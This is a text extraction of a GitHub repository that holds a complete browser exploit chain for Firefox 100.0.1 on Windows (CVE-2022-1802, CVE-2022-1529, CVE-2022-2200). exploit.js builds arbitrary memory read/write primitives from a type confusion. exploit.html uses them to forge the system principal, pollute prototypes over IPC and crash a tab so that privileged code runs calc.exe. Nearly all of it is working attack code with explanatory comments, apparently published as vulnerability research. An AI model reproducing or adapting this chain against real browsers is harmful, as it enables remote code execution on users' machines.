Full Code of mistymntncop/CVE-2022-1802 for AI

main d26c481c9435 cached
6 files
23.2 KB
6.0k tokens
20 symbols
1 requests
Download .txt
Repository: mistymntncop/CVE-2022-1802
Branch: main
Commit: d26c481c9435
Files: 6
Total size: 23.2 KB

Directory structure:
gitextract_2_p5tv7u/

├── 1.mjs
├── 2.mjs
├── README.md
├── crash.html
├── exploit.html
└── exploit.js

================================================
FILE CONTENTS
================================================

================================================
FILE: 1.mjs
================================================
import "./2.mjs";
function one() {
    return 42;
}
await one();

================================================
FILE: 2.mjs
================================================
function two() {
    return 42;
} 
await two();

================================================
FILE: README.md
================================================
# CVE-2022-1802 + CVE-2022-1529 + CVE-2022-2200
Tested against Firefox 100.0.1 (Windows)
https://ftp.mozilla.org/pub/firefox/releases/100.0.1/win64/en-US/Firefox%20Setup%20100.0.1.exe

================================================
FILE: crash.html
================================================
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<link rel="icon" href="data:," />
<title>exploit</title>
<script src="exploit.js"></script>
<script>
console.log("load bearing");
install_primitives().then(() => {
    write_u64(0x0, 0xD1EEEEEEEEEEEEEE);
});
</script>
</head>
<body>
<br />
</body>
</html>



================================================
FILE: exploit.html
================================================
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<link rel="icon" href="data:," />
<title>exploit</title>
<script src="exploit.js"></script>
<script>
var offsets = {};

var url_params = new URLSearchParams(location.search);
var debug = url_params.has("debug");
if(debug) {
    offsets = {
        gSystemPrincipal : 0x69699C0n,
        realm_principals : 0x130n,
        realm_isSystem : 0x224n,
    };
} else {
    offsets = {
        gSystemPrincipal : 0x5F4DBC8n,
        realm_principals : 0x138n,
        realm_isSystem : 0x22Cn,
    };
}

var privileged_window = null;
var ChromeUtils = null;
var Components = null;
var Services = null;

function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}

//Find the base of xul.dll by searching backwards from a known address
//for the DOS Header magic number "MZ"
function find_xul_base(src_addr) {
    let addr = src_addr & ~(0x10000n - 1n);
    while(true) {
        let val = read_u16(addr);
        if(val == 0x5A4D) { //ZM
            return addr;
        }
        addr -= 0x10000n;
    }
    return false;
}

//CVE-2022-1529: Untrusted input used in JavaScript object indexing, leading to prototype pollution
//https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/dom/notification/old/NotificationDB.jsm#L361
//
//The vulnerable line:
//      this.notifications[origin][notification.id] = notification;
//
//"notification" comes from an IPC message sent via "sendSyncMessage". 
//The object sent by sendSyncMessage will become a structured clone 
//on the receiving side.
//
//We can only send JS objects supported by the structured clone algorithm.
//So no getters or functions or anything like that :(
//
//One limitation of this prototype pollution bug is that we need to set the
//"id" property on the notification object to control the second array parameter.
//This limits the kinds of JS types we can send. We can set properties on 
//JS object and array types but other JS types such as ints, string, maps, sets 
//don't retain properties after going through the structured clone algorithm.
//
//Interestingly we can use the bug itself to overcome this limitation.
//As mentioned previously we can set properties for Array objects
//
//Consider the case of pollute_prototype("foo", "bar")
//
//We send a Notification:Save message with this Array as the notification value.
//The key in this case is "foo".
//    let arr = ["foo"];
//    arr.id = "id";
//    Services.cpmm.sendSyncMessage("Notification:Save", {
//        origin : "__proto__",
//        notification : arr,
//    });
//
//On the vulnerable receiving side this ends up with:
//    this.notifications["__proto__"]["id"] = ["foo"];
//
//This adds the "id" property to the Object.prototype.
//    Object.prototype.id = ["foo"];
//
//We then send another Notification:Save message with the value "bar" as the 
//notification value.
//
//    Services.cpmm.sendSyncMessage("Notification:Save", {
//        origin : "__proto__",
//        notification : "bar",
//    });
//
//On the vulnerable receiving side this ends up with:
//    this.notifications["__proto__"]["bar".id] = "bar";
//
//The notification object ("bar") we sent had no "id" property. So the the object's
//prototype chain is traversed for the "id" property. The "id" property exists on the
//Object.prototype so that value ["foo"] is used.
//Even though Object.prototype.id is a Array type it gets converted to a string when
//used as an array property name.
//
//This add the "foo" property to the Object.prototype. 
//    Object.prototype.foo = "bar";

function pollute_prototype(key, value) {
    let arr = [key];
    arr.id = "id";
    Services.cpmm.sendSyncMessage("Notification:Save", {
        origin : "__proto__",
        notification : arr,
    });
    Services.cpmm.sendSyncMessage("Notification:Save", {
        origin : "__proto__",
        notification : value,
    });
}

function cleanup_pollution(key) {
    Services.cpmm.sendSyncMessage("Notification:Delete", {
        origin : "__proto__",
        id : key,
    });
}

//Uses the technique detailed in this blog to load privileged variables
//such as "ChromeUtils" and "Services". One thing of note is that the 
//memory layout of some structures are different than those in the blog post.
//https://blog.exodusintel.com/2020/11/10/firefox-vulnerability-research-part-2/

function load_privileged_vars() {
    //The removal of the "load bearing" log statement reduces reliability
    //of the nursery heap layout. For some reason if you move the log statement
    //into the "install_primitives" function it doesn't have the same effect.
    //This is pretty lame and needs to be investigated further.
    console.log("load bearing");
    let promise = new Promise((resolve, reject) => {
        install_primitives().then(() => {
            console.log("primitives installed!");
            
            let obj = {};
            let obj_addr = addr_of(obj);
            let slots_addr = obj_addr + 8n;
            let emptyObjectSlotsHeaders = read_u64(slots_addr);
            
            console.log("obj_addr " + hex(obj_addr));
                                    
            let xul_base = find_xul_base(emptyObjectSlotsHeaders);
            if(!xul_base) {
                return reject(new Error("xul_base not found"));
            }
            console.log("xul_base found at " + hex(xul_base));
            
            let gSystemPrincipal_addr = xul_base + offsets.gSystemPrincipal;
            let gSystemPrincipal = read_u64(gSystemPrincipal_addr);
            
            console.log("gSystemPrincipal_addr " + hex(gSystemPrincipal_addr));
            console.log("gSystemPrincipal " + hex(gSystemPrincipal));

            let iframe = document.createElement("iframe"); //extend lifetime ????
            
            let iframe_addr = addr_of(iframe);
            let shape = read_u64(iframe_addr);
            let base_shape = read_u64(shape);
            let realm = read_u64(base_shape + 8n);
            let principals__addr = realm + offsets.realm_principals;
            let principals = read_u64(principals__addr);
            write_u64(principals__addr, gSystemPrincipal + 8n);
            
            let isSystem__addr = realm + offsets.realm_isSystem;
            write_u8(isSystem__addr, 1);

            console.log("iframe addr " + hex(iframe_addr));
            console.log("shape " + hex(shape));
            console.log("base_shape " + hex(base_shape));
            console.log("realm " + hex(realm));
            console.log("principals " + hex(principals));
            console.log("principals__addr " + hex(principals__addr));
            
            let html_frame_element = read_u64(iframe_addr + 0x18n); //HTMLIFrameElement
            let mNodeInfo = read_u64(html_frame_element + 0x20n);
            let mOwnerManager = read_u64(mNodeInfo + 0x40n);
            let mPrincipal_addr = mOwnerManager + 0x38n
            let mPrincipal = read_u64(mPrincipal_addr);
            write_u64(mPrincipal_addr, gSystemPrincipal);
            
            console.log("html_frame_element " + hex(html_frame_element));
            console.log("mNodeInfo " + hex(mNodeInfo));
            console.log("mOwnerManager " + hex(mOwnerManager));
            console.log("mPrincipal", hex(mPrincipal));
            console.log("mPrincipal_addr " + hex(mPrincipal_addr));        

            //We need to revert these structures or it causes a crash eventually
            promise.cleanup = () => {
                console.log("cleanup kru");
                write_u64(principals__addr, principals);
                write_u64(mPrincipal_addr, mPrincipal);
                write_u8(isSystem__addr, 0);
            };
            
            iframe.src = "about:config";
            //iframe.setAttribute("hidden", "hidden");
            iframe.onload = function() {
                try {
                    privileged_window = iframe.contentWindow;
                    ChromeUtils = privileged_window.ChromeUtils;
                    Components = privileged_window.Components;
                    Services = ChromeUtils.import("resource://gre/modules/Services.jsm").Services;
                    
                    console.log("iframe loaded", iframe);
                    console.log("privileged_window", privileged_window);
                    console.log("ChromeUtils", ChromeUtils);
                    console.log("Services", Services);
                    
                    document.body.removeChild(iframe);
                    
                    resolve();
                } catch(err) {
                    reject(err);
                }
            };
            document.body.appendChild(iframe);
        }).catch((err) => {
            console.log("install_primitives failed");
            reject(err);
        });
    });
    return promise;
}


function pwn() {
    //https://www.zerodayinitiative.com/blog/2022/8/23/but-you-told-me-you-were-safe-attacking-the-mozilla-firefox-renderer-part-2
    //Shout out to @_manfp, @hosselot and the good folks at ZDI !!!
    let promise = load_privileged_vars();
    promise.then(() => {
        if(sessionStorage.getItem("pwned")) {
            console.log("matrix reloaded");
            sessionStorage.removeItem("pwned");
            return;
        }
        console.log("pwning");
        sessionStorage.setItem("pwned", true);
        
        let payload = `
try {
    console.log("running payload");
    delete Object.prototype.onoverflow;
    delete Object.prototype.style;

    for(let tab = this; tab != null; tab = tab.previousSibling) {
        tab.removeAttribute("onoverflow");
        tab.removeAttribute("style");
    }
    
    let gBrowser = window.gBrowser;
    let selected_tab = gBrowser._selectedTab;
    //NOTE: wtf! sometimes to onoverflow event triggers while the 
    //page is still about:blank... so we have to check for this...
    //this bug is hard to reproduce :'(
    let is_about_blank = (selected_tab._fullLabel == "New Tab");
    if(is_about_blank) {
        console.log(" is_about_blank!!!", selected_tab);
    }
    let item = selected_tab.attributes.getNamedItem("crashed");
    let is_crashed = item && item.nodeValue;
    
    if(is_crashed || is_about_blank) {
        gBrowser.removeTab(selected_tab);
        
        let { Subprocess } = ChromeUtils.import("resource://gre/modules/Subprocess.jsm");
        let result = Subprocess.call({ command: "C:\\\\windows\\\\system32\\\\calc.exe" });
    }
} catch(err) {
    console.log(err);
}
        `;
        
        pollute_prototype("onoverflow", payload);
        pollute_prototype("style", "text-indent: 500px");
        cleanup_pollution("id");

        //seems more reliable if we open a about:blank window first and then 
        //redirect to crash.html. I don't really know why....
        console.log("blank window");
        //CVE-2022-2200 triggered here by causing a tab to crash.
        //Crashing codepath eventually reaches here:
        //https://searchfox.org/mozilla-central/rev/6d396b2abda4371f54251e9de8dc790deab706fc/browser/components/sessionstore/TabAttributes.jsm#63
        //set(tab, data = {}) {
        //    // Clear attributes.
        //    for (let name of this._attrs) {
        //        tab.removeAttribute(name);
        //    }
        //
        //    // Set attributes.
        //    for (let name in data) {
        //        if (!ATTRIBUTES_TO_SKIP.has(name)) {
        //            tab.setAttribute(name, data[name]);
        //        }
        //    }
        //},
        //
        //The "for (let name in data)" loop is the sink for our prototype pollution.
        //See: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in
        //This allows us to set an attribute on the tab. Namely the "style" and "onoverflow" attributes
        //will be added to the tab.
        let win = Services.ww.openWindow(
                window, "about:blank", "crashwin", null, null);
        console.log("crash window");
        win.location = "crash.html";
        console.log("pwned!");
        
    }).catch((err) => {
        console.log("exploit failed!", err);
    }).finally(() => {
        //HACK: the crash seems to be cause any finally's
        //placed on the promise to trigger early
        promise.cleanup();
    });
}

function break_() {
    Math.atan2(0);
}

window.onload = pwn;
</script>
</head>
<body>
<button onclick="break_()">break</button>
<button onclick="garbage_collect()">GC</button>
<br />
</body>
</html>

================================================
FILE: exploit.js
================================================
//CVE-2022-1802

var call_count = 0;
var do_capture = false;

var fake_mod = null;
var oob_arr = null;

var tmp_u32_arr1 = null;
var tmp_u32_arr2 = null;

var ab1 = null;
let ab1_view = null;

var ab2 = null;

function hex(val) {
    val = Number(val);
    let result = "0x" + val.toString(16);
    return result;
}

Object.defineProperty(BigInt.prototype, "lo", {
    get: function() {
        let lo = this & 0xFFFFFFFFn;
        return Number(lo);
    }
});
Object.defineProperty(BigInt.prototype, "hi", {
    get: function() {
        let hi = (this >> 32n) & 0xFFFFFFFFn;
        return Number(hi);
    }
});

function garbage_collect() {
    for(let i = 0; i < 3; i++) {
        new ArrayBuffer(128 * 1024 * 1024);
    }
}

//The best way to understand this is to set a breakpoint on this line
//https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2288
//and start single stepping.

function allocate_objects() {
    //ArrayBuffer's are allocated on the Tenured heap
    ab1 = new ArrayBuffer(8);
    ab2 = new ArrayBuffer(8);
    ab2.a = 0x1337;
    
    //These objects are allocated on the Nursery heap
    
    let fake_script = {};

    //From DOARE:
    // new Array vs [] ensures that the array is allocated
    // from the nursery as it does in firefox. But not in js.exe.
    //
    oob_arr = new Array(); 

    //These properties are allocated inline from the fake_mod JS object
    //Interestingly if you execute this same line in the global scope
    //the object gets allocated directly on the Tenured heap.
    fake_mod = {
        //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L1231
        ScriptSlot: fake_script, //self->script()
        EnvironmentSlot: 0x11111111,
        NamespaceSlot: 0x22222222,
        //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L879
        StatusSlot: 0, // if (status() < MODULE_STATUS_LINKED)
    };
    //Writing 7 elements causes the elements_ array of oob_arr to be reallocated
    //directly after fake_mod
    for(let i = 0; i < 7; i++) {
        oob_arr[i] = 0x11111111;
    }
    
    tmp_u32_arr1 = new Uint32Array(4);
    tmp_u32_arr1.fill(0x66);
    
    tmp_u32_arr2 = new Uint32Array(0x10);
    tmp_u32_arr2.ab1 = ab1;
    tmp_u32_arr2.fill(0x77);
    
    
    //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2295
    fake_mod.AsyncSlot = false; // m->isAsync()
    
    //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2290
    fake_mod.AsyncEvaluatingPostOrderSlot = true; // m->isAsyncEvaluating()
    
    //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2359
    fake_mod.TopLevelCapabilitySlot = undefined; // if (module->hasTopLevelCapability())
        
    //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2355
    fake_mod.AsyncParentModulesSlot = undefined; // placeholder
    
    //console.log("0x" + objectAddress(ab1));
    //console.log("0x" + objectAddress(ab2));
    //console.log("0x" + objectAddress(fake_script));
    //console.log("0x" + objectAddress(oob_arr));
    //console.log("0x" + objectAddress(fake_mod));
    //console.log("0x" + objectAddress(tmp_u32_arr1));
    //console.log("0x" + objectAddress(tmp_u32_arr2));
    //console.log("0x" + objectAddress(allocate_objects));
}

function setter(original) {
    try {
        console.log("Array.prototype[0] setter called");
        Reflect.deleteProperty(Array.prototype, "0");
        this[0] = original;
        
        //The self-hosted Module.js is not explicitly visible to us
        //and .caller will be reported as null
        if(do_capture && arguments.callee.caller == null) {
            if(call_count == 0) {
                let module = original;
                console.log("replacing module with fake_mod");
                //This is really important as it allows the "import(...)" promise to be 
                //rejected properly. This tells us when the initial corruption has completed.
                // AsyncModuleExecutionRejected(cx, parent, error)
                fake_mod.AsyncParentModulesSlot = [ module ];
                this[0] = fake_mod;
            }
            call_count++;
        }
        //install_setter();
    } catch(e) {
        console.log(e);
    }
}

function install_setter() {
    Object.defineProperty(Array.prototype, "0", {
        set: setter,
        configurable: true,
    });
}

function make_addr(lo, hi) {
    hi = BigInt(hi);
    lo = BigInt(lo);
    let result = ((hi << 32n) | lo);
    return result;
}

function tag_obj(addr) {
    let result = (0x1FFFCn << 47n) | addr;
    return result;
}

function untag_addr(addr) {
    let result = addr & (1n << 47n)-1n;
    return result;
}

function install_primitives() {
    garbage_collect();
    allocate_objects();
    install_setter();
    return new Promise((resolve, reject) => {
        do_capture = true;
        
        //trigger type confusion
        import("./1.mjs").then(() => {
           return reject(new Error("This firefox version is not vulnerable!"));
        }).catch(() => {
            console.log("corruption underway");
            
            //overwrite length of tmp_u32_arr1 with a large value
            oob_arr[19] = 0xBEEF;  
            
            if(tmp_u32_arr1.length == 4) {
                return reject(new Error("couldn't corrupt tmp_u32_arr1 :("));
            }
            
            //https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#kaizenjs
            //Uses @0vercl0k's technique of using 2 ArrayBuffers for stable primitives
            
            //read the pointer to ab1
            let ab1_addr = make_addr(tmp_u32_arr1[42], tmp_u32_arr1[43]);
            ab1_addr = untag_addr(ab1_addr);
            
            //overwrite tmp_u32_arr2's backing store to the address of ab1
            let tmp_u32_arr2_backing_store = make_addr(tmp_u32_arr1[22], tmp_u32_arr1[23]);
            tmp_u32_arr1[22] = ab1_addr.lo;
            tmp_u32_arr1[23] = ab1_addr.hi;
                        
            //overwrite ab1's size
            tmp_u32_arr2[8] = 0x60; //0x58
            
            ab1_view = new Uint32Array(ab1);
            let original_ab2_store = make_addr(ab1_view[14], ab1_view[15]);            
            
            //cleanup corrupted structures so GC doesn't crash
            tmp_u32_arr1[22] = tmp_u32_arr2_backing_store.lo;
            tmp_u32_arr1[23] = tmp_u32_arr2_backing_store.hi;
            
            let oob_arr_addr = addr_of(oob_arr);
            let oob_arr_elements = read_u64(oob_arr_addr + 0x10n);
            let oob_arr_elements_hdr_addr = oob_arr_elements - 0x10n;
            write_u32(oob_arr_elements_hdr_addr, 0);
            write_u32(oob_arr_elements_hdr_addr + 4n, 7);
            
            let tmp_u32_arr1_addr = addr_of(tmp_u32_arr1);
            let tmp_u32_arr1_len_addr = tmp_u32_arr1_addr + 0x20n;
            write_u32(tmp_u32_arr1_len_addr, 4);
            write_u32(tmp_u32_arr1_len_addr + 4n, 0);

            return resolve();
        }).finally(() => {
            do_capture = false;
        });
    });
}

function fake_obj(addr) {
    let tagged_addr = tag_obj(addr);
    
    let ab2_slots_ = make_addr(ab1_view[10], ab1_view[11]);
    write_u64(ab2_slots_, tagged_addr);
            
    let result = ab2.a;
    
    ab2.a = null;
    
    return result;
}

function addr_of(obj) {
    ab2.a = obj;
    
    let ab2_slots_ = make_addr(ab1_view[10], ab1_view[11]);
    
    let addr = read_u64(ab2_slots_);
    
    let result = untag_addr(addr);
    
    ab2.a = null;
    
    return result;
}

function read_u16(addr) {
    if(addr instanceof Number) {
        addr = BigInt(addr);
    }
    ab1_view[14] = addr.lo;
    ab1_view[15] = addr.hi;
    
    let view = new Uint16Array(ab2);
    let result = view[0];

    return result;
}

function read_u32(addr) {
    if(addr instanceof Number) {
        addr = BigInt(addr);
    }
    ab1_view[14] = addr.lo;
    ab1_view[15] = addr.hi;
    
    let view = new Uint32Array(ab2);
    let result = view[0];

    return result;
}

function read_u64(addr) {
    if(addr instanceof Number) {
        addr = BigInt(addr);
    }
    ab1_view[14] = addr.lo;
    ab1_view[15] = addr.hi;
    
    let view = new Uint32Array(ab2);
    let lo = BigInt(view[0]);
    let hi = BigInt(view[1]);
    
    let result = (hi << 32n) | lo;
    
    return result;
}

function write_u8(addr, val) {
    if(addr instanceof Number) {
        addr = BigInt(addr);
    }
    ab1_view[14] = addr.lo;
    ab1_view[15] = addr.hi;
    
    let view = new Uint8Array(ab2);
    view[0] = val;
}

function write_u32(addr, val) {
    if(addr instanceof Number) {
        addr = BigInt(addr);
    }
    ab1_view[14] = addr.lo;
    ab1_view[15] = addr.hi;
    
    let view = new Uint32Array(ab2);
    view[0] = val;
}

function write_u64(addr, value) {
    if(addr instanceof Number) {
        addr = BigInt(addr);
    }
    if(value instanceof Number) {
        value = BigInt(value);
    }
    ab1_view[14] = addr.lo;
    ab1_view[15] = addr.hi;
    
    let view = new Uint32Array(ab2);
    view[0] = value.lo;
    view[1] = value.hi;
}

function pwn_test() {
    install_primitives().then(() => {
        console.log("primitives installed!");
    }).catch((err) => {
        console.log("exploit failed :(", err);
    });
}

if(this["window"] == undefined) {
    pwn_test();
}
Download .txt
gitextract_2_p5tv7u/

├── 1.mjs
├── 2.mjs
├── README.md
├── crash.html
├── exploit.html
└── exploit.js
Download .txt
SYMBOL INDEX (20 symbols across 3 files)

FILE: 1.mjs
  function one (line 2) | function one() {

FILE: 2.mjs
  function two (line 1) | function two() {

FILE: exploit.js
  function hex (line 17) | function hex(val) {
  function garbage_collect (line 36) | function garbage_collect() {
  function allocate_objects (line 46) | function allocate_objects() {
  function setter (line 109) | function setter(original) {
  function install_setter (line 135) | function install_setter() {
  function make_addr (line 142) | function make_addr(lo, hi) {
  function tag_obj (line 149) | function tag_obj(addr) {
  function untag_addr (line 154) | function untag_addr(addr) {
  function install_primitives (line 159) | function install_primitives() {
  function fake_obj (line 219) | function fake_obj(addr) {
  function addr_of (line 232) | function addr_of(obj) {
  function read_u16 (line 246) | function read_u16(addr) {
  function read_u32 (line 259) | function read_u32(addr) {
  function read_u64 (line 272) | function read_u64(addr) {
  function write_u8 (line 288) | function write_u8(addr, val) {
  function write_u32 (line 299) | function write_u32(addr, val) {
  function write_u64 (line 310) | function write_u64(addr, value) {
  function pwn_test (line 325) | function pwn_test() {
Condensed preview — 6 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (26K chars).
[
  {
    "path": "1.mjs",
    "chars": 68,
    "preview": "import \"./2.mjs\";\r\nfunction one() {\r\n    return 42;\r\n}\r\nawait one();"
  },
  {
    "path": "2.mjs",
    "chars": 50,
    "preview": "function two() {\r\n    return 42;\r\n} \r\nawait two();"
  },
  {
    "path": "README.md",
    "chars": 185,
    "preview": "# CVE-2022-1802 + CVE-2022-1529 + CVE-2022-2200\r\nTested against Firefox 100.0.1 (Windows)\r\nhttps://ftp.mozilla.org/pub/f"
  },
  {
    "path": "crash.html",
    "chars": 329,
    "preview": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<meta charset=\"utf-8\">\r\n<link rel=\"icon\" href=\"data:,\" />\r\n<title>exploit</title>\r\n<scr"
  },
  {
    "path": "exploit.html",
    "chars": 12944,
    "preview": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<meta charset=\"utf-8\">\r\n<link rel=\"icon\" href=\"data:,\" />\r\n<title>exploit</title>\r\n<scr"
  },
  {
    "path": "exploit.js",
    "chars": 10139,
    "preview": "//CVE-2022-1802\r\n\r\nvar call_count = 0;\r\nvar do_capture = false;\r\n\r\nvar fake_mod = null;\r\nvar oob_arr = null;\r\n\r\nvar tmp_"
  }
]

About this extraction

This page contains the full source code of the mistymntncop/CVE-2022-1802 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 6 files (23.2 KB), approximately 6.0k tokens, and a symbol index with 20 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!